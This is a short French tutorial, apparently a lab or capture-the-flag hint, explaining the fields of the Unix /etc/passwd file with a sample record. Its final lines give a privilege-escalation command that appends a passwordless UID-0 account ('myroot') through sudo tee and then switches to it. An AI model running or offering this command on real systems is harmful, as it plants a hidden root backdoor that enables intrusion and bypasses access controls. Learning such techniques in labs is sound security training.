Le fichier /etc/passwd est un fichier texte dont chaque ligne décrit un compte d'utilisateur.
Chaque ligne se compose de sept champs séparés par un deux-points.
Voici un exemple d'un enregistrement :

jsmith:x:1001:1000:Joe Smith,Room 1007,(234)555-8910,(234)5550044,email:/home/jsmith:/bin/sh

Les champs, de gauche à droite, sont :

• jsmith : le nom de l'utilisateur (login name).
• x : un x signifie que le hash du mots de passe est stocké, dans le fichier /etc/shadow qui n'est lisible que par le compte 'root'. Un * empêche les connexions d'un compte tout en conservant son nom d'utilisateur. Dans les premières version d'unix, ce champ contenait le hachage cryptographique du mot de passe de l'utilisateur.
• 1001 : l'identifiant d'utilisateur.
• 1000 : l'identifiant de groupe. Un nombre qui identifie le groupe principal de l'utilisateur.
• Joe Smith,Room 1007,(234)555-8910,(234)5550044,email : le champ Gecos. Un commentaire qui décrit la personne ou le compte. Généralement, il s'agit d'un ensemble de valeurs séparées par des virgules, fournissant le nom complet de l'utilisateur et ses coordonnées.
• /home/jsmith : le chemin vers le répertoire personnel de l'utilisateur.
• /bin/sh : le programme qui est lancé chaque fois que l'utilisateur se connecte au système. Peut être nologin.

Les premières lignes du fichier sont généralement des comptes systèmes.
Les comptes utilisateurs sont souvent décrits dans les dernière lignes.
Ce fichier permet d'identifier rapidement les utlisateurs, les applications (tomcat, mysql, www_data,...), leurs répertoires de travail, et s'ils ont ou non accès à un shell.
Article sur Wikipedia: https://fr.wikipedia.org/wiki/Passwd

Vous disposez des droits pour modifier /etc/passwd. Par exemple tee avec un sudo en root. Ajoutez une entrée avec un UID de 0, et un mot de passe vide.

echo myroot::0:0:::/bin/bash | sudo tee -a /etc/passwd 
su myroot